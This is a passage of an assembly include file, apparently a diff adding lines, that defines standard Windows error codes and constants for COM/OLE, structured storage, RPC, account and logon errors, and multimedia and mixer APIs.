CONVERT10_E_STG_FMT 800401C4h +%define CONVERT10_E_STG_NO_STD_STREAM 800401C5h +%define CONVERT10_E_STG_DIB_TO_BITMAP 800401C6h +%define CLIPBRD_E_FIRST 800401D0h +%define CLIPBRD_E_LAST 800401DFh +%define CLIPBRD_S_FIRST 401D0h +%define CLIPBRD_S_LAST 401DFh +%define CLIPBRD_E_CANT_OPEN 800401D0h +%define CLIPBRD_E_CANT_EMPTY 800401D1h +%define CLIPBRD_E_CANT_SET 800401D2h +%define CLIPBRD_E_BAD_DATA 800401D3h +%define CLIPBRD_E_CANT_CLOSE 800401D4h +%define MK_E_FIRST 800401E0h +%define MK_E_LAST 800401EFh +%define MK_S_FIRST 401E0h +%define MK_S_LAST 401EFh +%define MK_E_CONNECTMANUALLY 800401E0h +%define MK_E_EXCEEDEDDEADLINE 800401E1h +%define MK_E_NEEDGENERIC 800401E2h +%define MK_E_UNAVAILABLE 800401E3h +%define MK_E_SYNTAX 800401E4h +%define MK_E_NOOBJECT 800401E5h +%define MK_E_INVALIDEXTENSION 800401E6h +%define MK_E_INTERMEDIATEINTERFACENOTSUPPORTED 800401E7h +%define MK_E_NOTBINDABLE 800401E8h +%define MK_E_NOTBOUND 800401E9h +%define MK_E_CANTOPENFILE 800401EAh +%define MK_E_MUSTBOTHERUSER 800401EBh +%define MK_E_NOINVERSE 800401ECh +%define MK_E_NOSTORAGE 800401EDh +%define MK_E_NOPREFIX 800401EEh +%define MK_E_ENUMERATION_FAILED 800401EFh +%define CO_E_FIRST 800401F0h +%define CO_E_LAST 800401FFh +%define CO_S_FIRST 401F0h +%define CO_S_LAST 401FFh +%define CO_E_NOTINITIALIZED 800401F0h +%define CO_E_ALREADYINITIALIZED 800401F1h +%define CO_E_CANTDETERMINECLASS 800401F2h +%define CO_E_CLASSSTRING 800401F3h +%define CO_E_IIDSTRING 800401F4h +%define CO_E_APPNOTFOUND 800401F5h +%define CO_E_APPSINGLEUSE 800401F6h +%define CO_E_ERRORINAPP 800401F7h +%define CO_E_DLLNOTFOUND 800401F8h +%define CO_E_ERRORINDLL 800401F9h +%define CO_E_WRONGOSFORAPP 800401FAh +%define CO_E_OBJNOTREG 800401FBh +%define CO_E_OBJISREG 800401FCh +%define CO_E_OBJNOTCONNECTED 800401FDh +%define CO_E_APPDIDNTREG 800401FEh +%define CO_E_RELEASED 800401FFh +%define OLE_S_USEREG 40000h +%define OLE_S_STATIC 40001h +%define OLE_S_MAC_CLIPFORMAT 40002h +%define DRAGDROP_S_DROP 40100h +%define DRAGDROP_S_CANCEL 40101h +%define DRAGDROP_S_USEDEFAULTCURSORS 40102h +%define DATA_S_SAMEFORMATETC 40130h +%define VIEW_S_ALREADY_FROZEN 40140h +%define CACHE_S_FORMATETC_NOTSUPPORTED 40170h +%define CACHE_S_SAMECACHE 40171h +%define CACHE_S_SOMECACHES_NOTUPDATED 40172h +%define OLEOBJ_S_INVALIDVERB 40180h +%define OLEOBJ_S_CANNOT_DOVERB_NOW 40181h +%define OLEOBJ_S_INVALIDHWND 40182h +%define INPLACE_S_TRUNCATED 401A0h +%define CONVERT10_S_NO_PRESENTATION 401C0h +%define MK_S_REDUCED_TO_SELF 401E2h +%define MK_S_ME 401E4h +%define MK_S_HIM 401E5h +%define MK_S_US 401E6h +%define MK_S_MONIKERALREADYREGISTERED 401E7h +%define CO_E_CLASS_CREATE_FAILED 80080001h +%define CO_E_SCM_ERROR 80080002h +%define CO_E_SCM_RPC_FAILURE 80080003h +%define CO_E_BAD_PATH 80080004h +%define CO_E_SERVER_EXEC_FAILURE 80080005h +%define CO_E_OBJSRV_RPC_FAILURE 80080006h +%define MK_E_NO_NORMALIZED 80080007h +%define CO_E_SERVER_STOPPING 80080008h +%define MEM_E_INVALID_ROOT 80080009h +%define MEM_E_INVALID_LINK 80080010h +%define MEM_E_INVALID_SIZE 80080011h +%define DISP_E_UNKNOWNINTERFACE 80020001h +%define DISP_E_MEMBERNOTFOUND 80020003h +%define DISP_E_PARAMNOTFOUND 80020004h +%define DISP_E_TYPEMISMATCH 80020005h +%define DISP_E_UNKNOWNNAME 80020006h +%define DISP_E_NONAMEDARGS 80020007h +%define DISP_E_BADVARTYPE 80020008h +%define DISP_E_EXCEPTION 80020009h +%define DISP_E_OVERFLOW 8002000Ah +%define DISP_E_BADINDEX 8002000Bh +%define DISP_E_UNKNOWNLCID 8002000Ch +%define DISP_E_ARRAYISLOCKED 8002000Dh +%define DISP_E_BADPARAMCOUNT 8002000Eh +%define DISP_E_PARAMNOTOPTIONAL 8002000Fh +%define DISP_E_BADCALLEE 80020010h +%define DISP_E_NOTACOLLECTION 80020011h +%define TYPE_E_BUFFERTOOSMALL 80028016h +%define TYPE_E_INVDATAREAD 80028018h +%define TYPE_E_UNSUPFORMAT 80028019h +%define TYPE_E_REGISTRYACCESS 8002801Ch +%define TYPE_E_LIBNOTREGISTERED 8002801Dh +%define TYPE_E_UNDEFINEDTYPE 80028027h +%define TYPE_E_QUALIFIEDNAMEDISALLOWED 80028028h +%define TYPE_E_INVALIDSTATE 80028029h +%define TYPE_E_WRONGTYPEKIND 8002802Ah +%define TYPE_E_ELEMENTNOTFOUND 8002802Bh +%define TYPE_E_AMBIGUOUSNAME 8002802Ch +%define TYPE_E_NAMECONFLICT 8002802Dh +%define TYPE_E_UNKNOWNLCID 8002802Eh +%define TYPE_E_DLLFUNCTIONNOTFOUND 8002802Fh +%define TYPE_E_BADMODULEKIND 800288BDh +%define TYPE_E_SIZETOOBIG 800288C5h +%define TYPE_E_DUPLICATEID 800288C6h +%define TYPE_E_INVALIDID 800288CFh +%define TYPE_E_TYPEMISMATCH 80028CA0h +%define TYPE_E_OUTOFBOUNDS 80028CA1h +%define TYPE_E_IOERROR 80028CA2h +%define TYPE_E_CANTCREATETMPFILE 80028CA3h +%define TYPE_E_CANTLOADLIBRARY 80029C4Ah +%define TYPE_E_INCONSISTENTPROPFUNCS 80029C83h +%define TYPE_E_CIRCULARTYPE 80029C84h +%define STG_E_INVALIDFUNCTION 80030001h +%define STG_E_FILENOTFOUND 80030002h +%define STG_E_PATHNOTFOUND 80030003h +%define STG_E_TOOMANYOPENFILES 80030004h +%define STG_E_ACCESSDENIED 80030005h +%define STG_E_INVALIDHANDLE 80030006h +%define STG_E_INSUFFICIENTMEMORY 80030008h +%define STG_E_INVALIDPOINTER 80030009h +%define STG_E_NOMOREFILES 80030012h +%define STG_E_DISKISWRITEPROTECTED 80030013h +%define STG_E_SEEKERROR 80030019h +%define STG_E_WRITEFAULT 8003001Dh +%define STG_E_READFAULT 8003001Eh +%define STG_E_SHAREVIOLATION 80030020h +%define STG_E_LOCKVIOLATION 80030021h +%define STG_E_FILEALREADYEXISTS 80030050h +%define STG_E_INVALIDPARAMETER 80030057h +%define STG_E_MEDIUMFULL 80030070h +%define STG_E_ABNORMALAPIEXIT 800300FAh +%define STG_E_INVALIDHEADER 800300FBh +%define STG_E_INVALIDNAME 800300FCh +%define STG_E_UNKNOWN 800300FDh +%define STG_E_UNIMPLEMENTEDFUNCTION 800300FEh +%define STG_E_INVALIDFLAG 800300FFh +%define STG_E_INUSE 80030100h +%define STG_E_NOTCURRENT 80030101h +%define STG_E_REVERTED 80030102h +%define STG_E_CANTSAVE 80030103h +%define STG_E_OLDFORMAT 80030104h +%define STG_E_OLDDLL 80030105h +%define STG_E_SHAREREQUIRED 80030106h +%define STG_E_NOTFILEBASEDSTORAGE 80030107h +%define STG_E_EXTANTMARSHALLINGS 80030108h +%define STG_S_CONVERTED 30200h +%define RPC_E_CALL_REJECTED 80010001h +%define RPC_E_CALL_CANCELED 80010002h +%define RPC_E_CANTPOST_INSENDCALL 80010003h +%define RPC_E_CANTCALLOUT_INASYNCCALL 80010004h +%define RPC_E_CANTCALLOUT_INEXTERNALCALL 80010005h +%define RPC_E_CONNECTION_TERMINATED 80010006h +%define RPC_E_SERVER_DIED 80010007h +%define RPC_E_CLIENT_DIED 80010008h +%define RPC_E_INVALID_DATAPACKET 80010009h +%define RPC_E_CANTTRANSMIT_CALL 8001000Ah +%define RPC_E_CLIENT_CANTMARSHAL_DATA 8001000Bh +%define RPC_E_CLIENT_CANTUNMARSHAL_DATA 8001000Ch +%define RPC_E_SERVER_CANTMARSHAL_DATA 8001000Dh +%define RPC_E_SERVER_CANTUNMARSHAL_DATA 8001000Eh +%define RPC_E_INVALID_DATA 8001000Fh +%define RPC_E_INVALID_PARAMETER 80010010h +%define RPC_E_CANTCALLOUT_AGAIN 80010011h +%define RPC_E_SERVER_DIED_DNE 80010012h +%define RPC_E_SYS_CALL_FAILED 80010100h +%define RPC_E_OUT_OF_RESOURCES 80010101h +%define RPC_E_ATTEMPTED_MULTITHREAD 80010102h +%define RPC_E_NOT_REGISTERED 80010103h +%define RPC_E_FAULT 80010104h +%define RPC_E_SERVERFAULT 80010105h +%define RPC_E_CHANGED_MODE 80010106h +%define RPC_E_INVALIDMETHOD 80010107h +%define RPC_E_DISCONNECTED 80010108h +%define RPC_E_RETRY 80010109h +%define RPC_E_SERVERCALL_RETRYLATER 8001010Ah +%define RPC_E_SERVERCALL_REJECTED 8001010Bh +%define RPC_E_INVALID_CALLDATA 8001010Ch +%define RPC_E_CANTCALLOUT_ININPUTSYNCCALL 8001010Dh +%define RPC_E_WRONG_THREAD 8001010Eh +%define RPC_E_THREAD_NOT_INIT 8001010Fh +%define RPC_E_UNEXPECTED 8001FFFFh +%define ERROR_BAD_USERNAME 2202 +%define ERROR_NOT_CONNECTED 2250 +%define ERROR_OPEN_FILES 2401 +%define ERROR_DEVICE_IN_USE 2404 +%define ERROR_BAD_DEVICE 1200 +%define ERROR_CONNECTION_UNAVAIL 1201 +%define ERROR_DEVICE_ALREADY_REMEMBERED 1202 +%define ERROR_NO_NET_OR_BAD_PATH 1203 +%define ERROR_BAD_PROVIDER 1204 +%define ERROR_CANNOT_OPEN_PROFILE 1205 +%define ERROR_BAD_PROFILE 1206 +%define ERROR_NOT_CONTAINER 1207 +%define ERROR_EXTENDED_ERROR 1208 +%define ERROR_INVALID_GROUPNAME 1209 +%define ERROR_INVALID_COMPUTERNAME 1210 +%define ERROR_INVALID_EVENTNAME 1211 +%define ERROR_INVALID_DOMAINNAME 1212 +%define ERROR_INVALID_SERVICENAME 1213 +%define ERROR_INVALID_NETNAME 1214 +%define ERROR_INVALID_SHARENAME 1215 +%define ERROR_INVALID_PASSWORDNAME 1216 +%define ERROR_INVALID_MESSAGENAME 1217 +%define ERROR_INVALID_MESSAGEDEST 1218 +%define ERROR_SESSION_CREDENTIAL_CONFLICT 1219 +%define ERROR_REMOTE_SESSION_LIMIT_EXCEEDED 1220 +%define ERROR_DUP_DOMAINNAME 1221 +%define ERROR_NO_NETWORK 1222 +%define ERROR_NOT_ALL_ASSIGNED 1300 +%define ERROR_SOME_NOT_MAPPED 1301 +%define ERROR_NO_QUOTAS_FOR_ACCOUNT 1302 +%define ERROR_LOCAL_USER_SESSION_KEY 1303 +%define ERROR_NULL_LM_PASSWORD 1304 +%define ERROR_UNKNOWN_REVISION 1305 +%define ERROR_REVISION_MISMATCH 1306 +%define ERROR_INVALID_OWNER 1307 +%define ERROR_INVALID_PRIMARY_GROUP 1308 +%define ERROR_NO_IMPERSONATION_TOKEN 1309 +%define ERROR_CANT_DISABLE_MANDATORY 1310 +%define ERROR_NO_LOGON_SERVERS 1311 +%define ERROR_NO_SUCH_LOGON_SESSION 1312 +%define ERROR_NO_SUCH_PRIVILEGE 1313 +%define ERROR_PRIVILEGE_NOT_HELD 1314 +%define ERROR_INVALID_ACCOUNT_NAME 1315 +%define ERROR_USER_EXISTS 1316 +%define ERROR_NO_SUCH_USER 1317 +%define ERROR_GROUP_EXISTS 1318 +%define ERROR_NO_SUCH_GROUP 1319 +%define ERROR_MEMBER_IN_GROUP 1320 +%define ERROR_MEMBER_NOT_IN_GROUP 1321 +%define ERROR_LAST_ADMIN 1322 +%define ERROR_WRONG_PASSWORD 1323 +%define ERROR_ILL_FORMED_PASSWORD 1324 +%define ERROR_PASSWORD_RESTRICTION 1325 +%define ERROR_LOGON_FAILURE 1326 +%define ERROR_ACCOUNT_RESTRICTION 1327 +%define ERROR_INVALID_LOGON_HOURS 1328 +%define ERROR_INVALID_WORKSTATION 1329 +%define ERROR_PASSWORD_EXPIRED 1330 +%define ERROR_ACCOUNT_DISABLED 1331 +%define ERROR_NONE_MAPPED 1332 +%define ERROR_TOO_MANY_LUIDS_REQUESTED 1333 +%define ERROR_LUIDS_EXHAUSTED 1334 +%define ERROR_INVALID_SUB_AUTHORITY 1335 +%define ERROR_INVALID_ACL 1336 +%define ERROR_INVALID_SID 1337 +%define ERROR_INVALID_SECURITY_DESCR 1338 +%define ERROR_BAD_INHERITANCE_ACL 1340 +%define ERROR_SERVER_DISABLED 1341 +%define ERROR_SERVER_NOT_DISABLED 1342 +%define ERROR_INVALID_ID_AUTHORITY 1343 +%define ERROR_ALLOTTED_SPACE_EXCEEDED 1344 +%define ERROR_INVALID_GROUP_ATTRIBUTES 1345 +%define ERROR_BAD_IMPERSONATION_LEVEL 1346 +%define ERROR_CANT_OPEN_ANONYMOUS 1347 +%define ERROR_BAD_VALIDATION_CLASS 1348 +%define ERROR_BAD_TOKEN_TYPE 1349 +%define ERROR_NO_SECURITY_ON_OBJECT 1350 +%define ERROR_CANT_ACCESS_DOMAIN_INFO 1351 +%define ERROR_INVALID_SERVER_STATE 1352 +%define ERROR_INVALID_DOMAIN_STATE 1353 +%define ERROR_INVALID_DOMAIN_ROLE 1354 +%define ERROR_NO_SUCH_DOMAIN 1355 +%define ERROR_DOMAIN_EXISTS 1356 +%define ERROR_DOMAIN_LIMIT_EXCEEDED 1357 +%define ERROR_INTERNAL_DB_CORRUPTION 1358 +%define ERROR_INTERNAL_ERROR 1359 +%define ERROR_GENERIC_NOT_MAPPED 1360 +%define ERROR_BAD_DESCRIPTOR_FORMAT 1361 +%define ERROR_NOT_LOGON_PROCESS 1362 +%define ERROR_LOGON_SESSION_EXISTS 1363 +%define ERROR_NO_SUCH_PACKAGE 1364 +%define ERROR_BAD_LOGON_SESSION_STATE 1365 +%define ERROR_LOGON_SESSION_COLLISION 1366 +%define ERROR_INVALID_LOGON_TYPE 1367 +%define ERROR_CANNOT_IMPERSONATE 1368 +%define ERROR_RXACT_INVALID_STATE 1369 +%define ERROR_RXACT_COMMIT_FAILURE 1370 +%define ERROR_SPECIAL_ACCOUNT 1371 +%define ERROR_SPECIAL_GROUP 1372 +%define ERROR_SPECIAL_USER 1373 +%define ERROR_MEMBERS_PRIMARY_GROUP 1374 +%define ERROR_TOKEN_ALREADY_IN_USE 1375 +%define ERROR_NO_SUCH_ALIAS 1376 +%define ERROR_MEMBER_NOT_IN_ALIAS 1377 +%define ERROR_MEMBER_IN_ALIAS 1378 +%define ERROR_ALIAS_EXISTS 1379 +%define ERROR_LOGON_NOT_GRANTED 1380 +%define ERROR_TOO_MANY_SECRETS 1381 +%define ERROR_SECRET_TOO_LONG 1382 +%define ERROR_INTERNAL_DB_ERROR 1383 +%define ERROR_TOO_MANY_CONTEXT_IDS 1384 +%define ERROR_LOGON_TYPE_NOT_GRANTED 1385 +%define ERROR_NT_CROSS_ENCRYPTION_REQUIRED 1386 +%define ERROR_NO_SUCH_MEMBER 1387 +%define ERROR_INVALID_MEMBER 1388 +%define ERROR_TOO_MANY_SIDS 1389 +%define ERROR_LM_CROSS_ENCRYPTION_REQUIRED 1390 +%define ERROR_NO_INHERITANCE 1391 +%define ERROR_FILE_CORRUPT 1392 +%define ERROR_DISK_CORRUPT 1393 +%define ERROR_NO_USER_SESSION_KEY 1394 +%define ERROR_INVALID_WINDOW_HANDLE 1400 +%define ERROR_INVALID_MENU_HANDLE 1401 +%define ERROR_INVALID_CURSOR_HANDLE 1402 +%define ERROR_INVALID_ACCEL_HANDLE 1403 +%define ERROR_INVALID_HOOK_HANDLE 1404 +%define ERROR_INVALID_DWP_HANDLE 1405 +%define ERROR_TLW_WITH_WSCHILD 1406 +%define ERROR_CANNOT_FIND_WND_CLASS 1407 +%define ERROR_WINDOW_OF_OTHER_THREAD 1408 +%define ERROR_HOTKEY_ALREADY_REGISTERED 1409 +%define ERROR_CLASS_ALREADY_EXISTS 1410 +%define ERROR_CLASS_DOES_NOT_EXIST 1411 +%define ERROR_CLASS_HAS_WINDOWS 1412 +%define ERROR_INVALID_INDEX 1413 +%define ERROR_INVALID_ICON_HANDLE 1414 +%define ERROR_PRIVATE_DIALOG_INDEX 1415 +%define ERROR_LISTBOX_ID_NOT_FOUND 1416 +%define ERROR_NO_WILDCARD_CHARACTERS 1417 +%define ERROR_CLIPBOARD_NOT_OPEN 1418 +%define ERROR_HOTKEY_NOT_REGISTERED 1419 +%define ERROR_WINDOW_NOT_DIALOG 1420 +%define ERROR_CONTROL_ID_NOT_FOUND 1421 +%define ERROR_INVALID_COMBOBOX_MESSAGE 1422 +%define ERROR_WINDOW_NOT_COMBOBOX 1423 +%define ERROR_INVALID_EDIT_HEIGHT 1424 +%define ERROR_DC_NOT_FOUND 1425 +%define ERROR_INVALID_HOOK_FILTER 1426 +%define ERROR_INVALID_FILTER_PROC 1427 +%define ERROR_HOOK_NEEDS_HMOD 1428 +%define ERROR_PUBLIC_ONLY_HOOK 1429 +%define ERROR_JOURNAL_HOOK_SET 1430 +%define ERROR_HOOK_NOT_INSTALLED 1431 +%define ERROR_INVALID_LB_MESSAGE 1432 +%define ERROR_SETCOUNT_ON_BAD_LB 1433 +%define ERROR_LB_WITHOUT_TABSTOPS 1434 +%define ERROR_DESTROY_OBJECT_OF_OTHER_THREAD 1435 +%define ERROR_CHILD_WINDOW_MENU 1436 +%define ERROR_NO_SYSTEM_MENU 1437 +%define ERROR_INVALID_MSGBOX_STYLE 1438 +%define ERROR_INVALID_SPI_VALUE 1439 +%define ERROR_SCREEN_ALREADY_LOCKED 1440 +%define ERROR_HWNDS_HAVE_DIFF_PARENT 1441 +%define ERROR_NOT_CHILD_WINDOW 1442 +%define ERROR_INVALID_GW_COMMAND 1443 +%define ERROR_INVALID_THREAD_ID 1444 +%define ERROR_NON_MDICHILD_WINDOW 1445 +%define ERROR_POPUP_ALREADY_ACTIVE 1446 +%define ERROR_NO_SCROLLBARS 1447 +%define ERROR_INVALID_SCROLLBAR_RANGE 1448 +%define ERROR_INVALID_SHOWWIN_COMMAND 1449 +%define ERROR_EVENTLOG_FILE_CORRUPT 1500 +%define ERROR_EVENTLOG_CANT_START 1501 +%define ERROR_LOG_FILE_FULL 1502 +%define ERROR_EVENTLOG_FILE_CHANGED 1503 +%define RPC_S_INVALID_STRING_BINDING 1700 +%define RPC_S_WRONG_KIND_OF_BINDING 1701 +%define RPC_S_INVALID_BINDING 1702 +%define RPC_S_PROTSEQ_NOT_SUPPORTED 1703 +%define RPC_S_INVALID_RPC_PROTSEQ 1704 +%define RPC_S_INVALID_STRING_UUID 1705 +%define RPC_S_INVALID_ENDPOINT_FORMAT 1706 +%define RPC_S_INVALID_NET_ADDR 1707 +%define RPC_S_NO_ENDPOINT_FOUND 1708 +%define RPC_S_INVALID_TIMEOUT 1709 +%define RPC_S_OBJECT_NOT_FOUND 1710 +%define RPC_S_ALREADY_REGISTERED 1711 +%define RPC_S_TYPE_ALREADY_REGISTERED 1712 +%define RPC_S_ALREADY_LISTENING 1713 +%define RPC_S_NO_PROTSEQS_REGISTERED 1714 +%define RPC_S_NOT_LISTENING 1715 +%define RPC_S_UNKNOWN_MGR_TYPE 1716 +%define RPC_S_UNKNOWN_IF 1717 +%define RPC_S_NO_BINDINGS 1718 +%define RPC_S_NO_PROTSEQS 1719 +%define RPC_S_CANT_CREATE_ENDPOINT 1720 +%define RPC_S_OUT_OF_RESOURCES 1721 +%define RPC_S_SERVER_UNAVAILABLE 1722 +%define RPC_S_SERVER_TOO_BUSY 1723 +%define RPC_S_INVALID_NETWORK_OPTIONS 1724 +%define RPC_S_NO_CALL_ACTIVE 1725 +%define RPC_S_CALL_FAILED 1726 +%define RPC_S_CALL_FAILED_DNE 1727 +%define RPC_S_PROTOCOL_ERROR 1728 +%define RPC_S_UNSUPPORTED_TRANS_SYN 1730 +%define RPC_S_UNSUPPORTED_TYPE 1732 +%define RPC_S_INVALID_TAG 1733 +%define RPC_S_INVALID_BOUND 1734 +%define RPC_S_NO_ENTRY_NAME 1735 +%define RPC_S_INVALID_NAME_SYNTAX 1736 +%define RPC_S_UNSUPPORTED_NAME_SYNTAX 1737 +%define RPC_S_UUID_NO_ADDRESS 1739 +%define RPC_S_DUPLICATE_ENDPOINT 1740 +%define RPC_S_UNKNOWN_AUTHN_TYPE 1741 +%define RPC_S_MAX_CALLS_TOO_SMALL 1742 +%define RPC_S_STRING_TOO_LONG 1743 +%define RPC_S_PROTSEQ_NOT_FOUND 1744 +%define RPC_S_PROCNUM_OUT_OF_RANGE 1745 +%define RPC_S_BINDING_HAS_NO_AUTH 1746 +%define RPC_S_UNKNOWN_AUTHN_SERVICE 1747 +%define RPC_S_UNKNOWN_AUTHN_LEVEL 1748 +%define RPC_S_INVALID_AUTH_IDENTITY 1749 +%define RPC_S_UNKNOWN_AUTHZ_SERVICE 1750 +%define EPT_S_INVALID_ENTRY 1751 +%define EPT_S_CANT_PERFORM_OP 1752 +%define EPT_S_NOT_REGISTERED 1753 +%define RPC_S_NOTHING_TO_EXPORT 1754 +%define RPC_S_INCOMPLETE_NAME 1755 +%define RPC_S_INVALID_VERS_OPTION 1756 +%define RPC_S_NO_MORE_MEMBERS 1757 +%define RPC_S_NOT_ALL_OBJS_UNEXPORTED 1758 +%define RPC_S_INTERFACE_NOT_FOUND 1759 +%define RPC_S_ENTRY_ALREADY_EXISTS 1760 +%define RPC_S_ENTRY_NOT_FOUND 1761 +%define RPC_S_NAME_SERVICE_UNAVAILABLE 1762 +%define RPC_S_INVALID_NAF_ID 1763 +%define RPC_S_CANNOT_SUPPORT 1764 +%define RPC_S_NO_CONTEXT_AVAILABLE 1765 +%define RPC_S_INTERNAL_ERROR 1766 +%define RPC_S_ZERO_DIVIDE 1767 +%define RPC_S_ADDRESS_ERROR 1768 +%define RPC_S_FP_DIV_ZERO 1769 +%define RPC_S_FP_UNDERFLOW 1770 +%define RPC_S_FP_OVERFLOW 1771 +%define RPC_X_NO_MORE_ENTRIES 1772 +%define RPC_X_SS_CHAR_TRANS_OPEN_FAIL 1773 +%define RPC_X_SS_CHAR_TRANS_SHORT_FILE 1774 +%define RPC_X_SS_IN_NULL_CONTEXT 1775 +%define RPC_X_SS_CONTEXT_DAMAGED 1777 +%define RPC_X_SS_HANDLES_MISMATCH 1778 +%define RPC_X_SS_CANNOT_GET_CALL_HANDLE 1779 +%define RPC_X_NULL_REF_POINTER 1780 +%define RPC_X_ENUM_VALUE_OUT_OF_RANGE 1781 +%define RPC_X_BYTE_COUNT_TOO_SMALL 1782 +%define RPC_X_BAD_STUB_DATA 1783 +%define ERROR_INVALID_USER_BUFFER 1784 +%define ERROR_UNRECOGNIZED_MEDIA 1785 +%define ERROR_NO_TRUST_LSA_SECRET 1786 +%define ERROR_NO_TRUST_SAM_ACCOUNT 1787 +%define ERROR_TRUSTED_DOMAIN_FAILURE 1788 +%define ERROR_TRUSTED_RELATIONSHIP_FAILURE 1789 +%define ERROR_TRUST_FAILURE 1790 +%define RPC_S_CALL_IN_PROGRESS 1791 +%define ERROR_NETLOGON_NOT_STARTED 1792 +%define ERROR_ACCOUNT_EXPIRED 1793 +%define ERROR_REDIRECTOR_HAS_OPEN_HANDLES 1794 +%define ERROR_PRINTER_DRIVER_ALREADY_INSTALLED 1795 +%define ERROR_UNKNOWN_PORT 1796 +%define ERROR_UNKNOWN_PRINTER_DRIVER 1797 +%define ERROR_UNKNOWN_PRINTPROCESSOR 1798 +%define ERROR_INVALID_SEPARATOR_FILE 1799 +%define ERROR_INVALID_PRIORITY 1800 +%define ERROR_INVALID_PRINTER_NAME 1801 +%define ERROR_PRINTER_ALREADY_EXISTS 1802 +%define ERROR_INVALID_PRINTER_COMMAND 1803 +%define ERROR_INVALID_DATATYPE 1804 +%define ERROR_INVALID_ENVIRONMENT 1805 +%define RPC_S_NO_MORE_BINDINGS 1806 +%define ERROR_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT 1807 +%define ERROR_NOLOGON_WORKSTATION_TRUST_ACCOUNT 1808 +%define ERROR_NOLOGON_SERVER_TRUST_ACCOUNT 1809 +%define ERROR_DOMAIN_TRUST_INCONSISTENT 1810 +%define ERROR_SERVER_HAS_OPEN_HANDLES 1811 +%define ERROR_RESOURCE_DATA_NOT_FOUND 1812 +%define ERROR_RESOURCE_TYPE_NOT_FOUND 1813 +%define ERROR_RESOURCE_NAME_NOT_FOUND 1814 +%define ERROR_RESOURCE_LANG_NOT_FOUND 1815 +%define ERROR_NOT_ENOUGH_QUOTA 1816 +%define RPC_S_GROUP_MEMBER_NOT_FOUND 1898 +%define EPT_S_CANT_CREATE 1899 +%define RPC_S_INVALID_OBJECT 1900 +%define ERROR_INVALID_TIME 1901 +%define ERROR_INVALID_FORM_NAME 1902 +%define ERROR_INVALID_FORM_SIZE 1903 +%define ERROR_ALREADY_WAITING 1904 +%define ERROR_PRINTER_DELETED 1905 +%define ERROR_INVALID_PRINTER_STATE 1906 +%define ERROR_NO_BROWSER_SERVERS_FOUND 6118 +%define MAXPNAMELEN 32 +%define MAXERRORLENGTH 128 +%define TIME_MS 1h +%define TIME_SAMPLES 2h +%define TIME_BYTES 4h +%define TIME_SMPTE 8h +%define TIME_MIDI 10h +%define MM_JOY1MOVE 3A0h +%define MM_JOY2MOVE 3A1h +%define MM_JOY1ZMOVE 3A2h +%define MM_JOY2ZMOVE 3A3h +%define MM_JOY1BUTTONDOWN 3B5h +%define MM_JOY2BUTTONDOWN 3B6h +%define MM_JOY1BUTTONUP 3B7h +%define MM_JOY2BUTTONUP 3B8h +%define MM_MCINOTIFY 3B9h +%define MM_MCISYSTEM_STRING 3CAh +%define MM_WOM_OPEN 3BBh +%define MM_WOM_CLOSE 3BCh +%define MM_WOM_DONE 3BDh +%define MM_WIM_OPEN 3BEh +%define MM_WIM_CLOSE 3BFh +%define MM_WIM_DATA 3C0h +%define MM_MIM_OPEN 3C1h +%define MM_MIM_CLOSE 3C2h +%define MM_MIM_DATA 3C3h +%define MM_MIM_LONGDATA 3C4h +%define MM_MIM_ERROR 3C5h +%define MM_MIM_LONGERROR 3C6h +%define MM_MOM_OPEN 3C7h +%define MM_MOM_CLOSE 3C8h +%define MM_MOM_DONE 3C9h +%define MMSYSERR_BASE 0 +%define WAVERR_BASE 32 +%define MIDIERR_BASE 64 +%define TIMERR_BASE 96 +%define JOYERR_BASE 160 +%define MCIERR_BASE 256 +%define MCI_STRING_OFFSET 512 +%define MCI_VD_OFFSET 1024 +%define MCI_CD_OFFSET 1088 +%define MCI_WAVE_OFFSET 1152 +%define MCI_SEQ_OFFSET 1216 +%define MMSYSERR_NOERROR 0 +%define MMSYSERR_ERROR MMSYSERR_BASE+1 +%define MMSYSERR_BADDEVICEID MMSYSERR_BASE+2 +%define MMSYSERR_NOTENABLED MMSYSERR_BASE+3 +%define MMSYSERR_ALLOCATED MMSYSERR_BASE+4 +%define MMSYSERR_INVALHANDLE MMSYSERR_BASE+5 +%define MMSYSERR_NODRIVER MMSYSERR_BASE+6 +%define MMSYSERR_NOMEM MMSYSERR_BASE+7 +%define MMSYSERR_NOTSUPPORTED MMSYSERR_BASE+8 +%define MMSYSERR_BADERRNUM MMSYSERR_BASE+9 +%define MMSYSERR_INVALFLAG MMSYSERR_BASE+10 +%define MMSYSERR_INVALPARAM MMSYSERR_BASE+11 +%define MMSYSERR_HANDLEBUSY MMSYSERR_BASE+12 +%define MMSYSERR_INVALIDALIAS MMSYSERR_BASE+13 +%define MMSYSERR_LASTERROR MMSYSERR_BASE+13 +%define MM_MOM_POSITIONCB 3CAh +%define MM_MCISIGNAL 3CBh +%define MM_MIM_MOREDATA 3CCh +%define MIDICAPS_STREAM 8h +%define MEVT_F_SHORT 0h +%define MEVT_F_LONG 80000000h +%define MEVT_F_CALLBACK 40000000h +%define MIDISTRM_ERROR -2 +%define MIDIPROP_SET 80000000h +%define MIDIPROP_GET 40000000h +%define MIDIPROP_TIMEDIV 1h +%define MIDIPROP_TEMPO 2h +%define MIXER_SHORT_NAME_CHARS 16 +%define MIXER_LONG_NAME_CHARS 64 +%define MIXERR_BASE 1024 +%define MIXERR_INVALLINE MIXERR_BASE+0 +%define MIXERR_INVALCONTROL MIXERR_BASE+1 +%define MIXERR_INVALVALUE MIXERR_BASE+2 +%define MIXERR_LASTERROR MIXERR_BASE+2 +%define MIXER_OBJECTF_HANDLE 80000000h +%define MIXER_OBJECTF_MIXER 0h +%define MIXER_OBJECTF_HMIXER MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_MIXER +%define MIXER_OBJECTF_WAVEOUT 10000000h +%define MIXER_OBJECTF_HWAVEOUT MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_WAVEOUT +%define MIXER_OBJECTF_WAVEIN 20000000h +%define MIXER_OBJECTF_HWAVEIN MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_WAVEIN +%define MIXER_OBJECTF_MIDIOUT 30000000h +%define MIXER_OBJECTF_HMIDIOUT MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_MIDIOUT +%define MIXER_OBJECTF_MIDIIN 40000000h +%define MIXER_OBJECTF_HMIDIIN MIXER_OBJECTF_HANDLE|MIXER_OBJECTF_MIDIIN +%define MIXER_OBJECTF_AUX 50000000h +%define MIXERLINE_LINEF_ACTIVE 1h +%define MIXERLINE_LINEF_DISCONNECTED 8000h +%define MIXERLINE_LINEF_SOURCE 80000000h 